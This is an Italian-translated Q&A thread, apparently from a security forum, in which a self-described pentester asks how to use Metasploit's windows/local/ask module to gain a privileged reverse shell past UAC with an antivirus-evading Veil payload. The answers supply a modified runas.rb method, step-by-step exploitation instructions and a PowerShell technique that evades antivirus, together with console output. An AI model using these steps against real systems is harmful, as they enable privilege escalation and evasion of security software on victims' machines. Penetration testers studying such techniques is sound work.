Carico utile Metasploit personalizzato con bypass UAC

12

Il computer che sto attaccando ha installato un antivirus.

Sono riuscito a utilizzare Veil Framework per creare un payload iniziale della shell inversa non rilevato dall'AV. Tuttavia, UAC è abilitato sul target di Windows 7.

Sto tentando di utilizzare il exploit/windows/local/ask di Metasploit per richiedere all'utente , nella speranza che facciano clic su sì per consentire al payload di creare un'altra shell inversa con privilegi elevati.

Tuttavia, i payload metasploit predefiniti vengono rilevati dall'AV, quindi ho utilizzato payload/generic/custom per impostare PAYLOADFILE sul mio velo generato .exe . Tuttavia, ricevo il seguente messaggio di errore quando eseguo l'exploit:

msf exploit(ask) > exploit 

[*] UAC is Enabled, checking level...
[*] The user will be prompted, wait for them to click 'Ok'
[-] Exploit failed: NoMethodError undefined method 'length' for nil:NilClass

Mi rendo conto che esistono altri modi per aggirare UAC:

  • exploit/windows/local/bypassuac

  • exploit/windows/local/bypassuac_injection

Anche se, come parte di questo esperimento di test della penna, voglio che l'utente finale consenta il payload manualmente.

La mia sintassi è corretta per l'exploit:

msf exploit(ask) > show options 

Module options (exploit/windows/local/ask):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   FILENAME                    no        File name on disk
   PATH                        no        Location on disk, %TEMP% used if not set
   SESSION    4                yes       The session to run this module on.
   TECHNIQUE  EXE              yes       Technique to use (Accepted: PSH, EXE)


Payload options (generic/custom):

   Name         Current Setting                                      Required  Description
   ----         ---------------                                      --------  -----------
   PAYLOADFILE  /usr/share/veil-output/compiled/payload_0907_cs.exe  no        The file to read the payload from
   PAYLOADSTR                                                        no        The string to use as a payload


Exploit target:

   Id  Name
   --  ----
   0   Windows

Ho cercato su Google l'errore, ma è sembrato non restituire nulla di rilevante. Sto andando su questo nel modo giusto?

    
posta SilverlightFox 09.07.2015 - 15:56
fonte

2 risposte

12

Si è riprodotto nello stesso problema durante la riproduzione.

Aggiorna :

Quando si utilizza l'exploit windows/local/ask , sembra che non abbia bisogno di impostare un payload con esso. Nel windows/local/ask exploit è possibile impostare un riferimento a undetectabletrojan.exe, che verrà quindi eseguito con privilegi elevati tramite UAC. Tuttavia, come sottolineato da @SilverlightFox , l'exploit ask utilizza sempre un payload autogenerato che viene facilmente rilevato da AV. Per contrastare ciò, sono necessarie alcune modifiche nel /usr/share/metasploit-framework/lib/msf/core/post/windows/runas.rb .

Modifiche al codice

  • Apri /usr/share/metasploit-framework/lib/msf/core/post/windows/runas.rb
  • Modifica il metodo def shell_execute_exe in modo che appaia come segue ( pastebin ): def shell_execute_exe(filename = nil, path = nil) exe_payload = generate_payload_exe payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe' payload_path = path || get_env('TEMP') cmd_location = "#{payload_path}\#{payload_filename}" if filename == nil print_status("Uploading payload to the filesystem...") write_file(cmd_location, exe_payload) else print_status("Using #{payload_filename}...") end command, args = cmd_location, nil shell_exec(command, args) end

  • Ricarica msf

Utilizza l'exploit

I passaggi esatti sono:

  • Genera un exe inverso di shell inversa (chiamiamolo undetectabletrojan.exe)
  • Ottieni una sessione meterpreter senza privilegi
  • Carica undectabletrojan.exe tramite la sessione non privilegiata (ad esempio c: \ tmp)
  • Esamina questa sessione senza privilegi e imposta un nuovo exploit ( windows/local/ask )
  • Imposta le seguenti opzioni di windows/local/ask exploit:
    • imposta nome file undectabletrojan.exe
    • imposta il percorso c: \ tmp
  • Anche se non hai impostato un payload, DEVI impostare le opzioni LPORT e LHOST, apparentemente il ask exploit utilizza sempre un payload di windows reverse_tcp.
  • sfruttare
  • Avrai una seconda sessione, con privilegio.

La correzione è di modificare /usr/share/metasploit-framework/lib/msf/core/post/windows/runas.rb .

  • Alla riga 23 menziona print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
  • Modifica a: print_status("Uploading #{payload_filename}...")

  • Salva

  • Esci da msfconsole
  • Assicurati di eseguire "ricarica-tutto" dopo il riavvio msfconsole

Poi ha funzionato per me, anche se ho dovuto riavviare msfconsole un paio di volte prima che il cambiamento arrivasse. Fammi sapere cosa dice.

    
risposta data 09.07.2015 - 18:04
fonte
2

Impostazione dell'opzione TECHNIQUE su PSH per Powershell è apparso per risolvere il mio problema di evasione AV. L'anti-virus non rileva il codice Powershell malevolo quasi come se fosse un codice eseguibile.

Grazie a @Michael per la sua risposta , sebbene exploit/windows/local/ask sembra sovrascrivere il payload caricato manualmente con qualsiasi cosa sia stata impostata in FILENAME durante i miei test, quindi non ha funzionato per me.

La risposta di Michael in revisione 3 non ha funzionato, tuttavia la correzione del codice al modulo runas in revisione 5 funziona a meraviglia.

    
risposta data 12.07.2015 - 12:48
fonte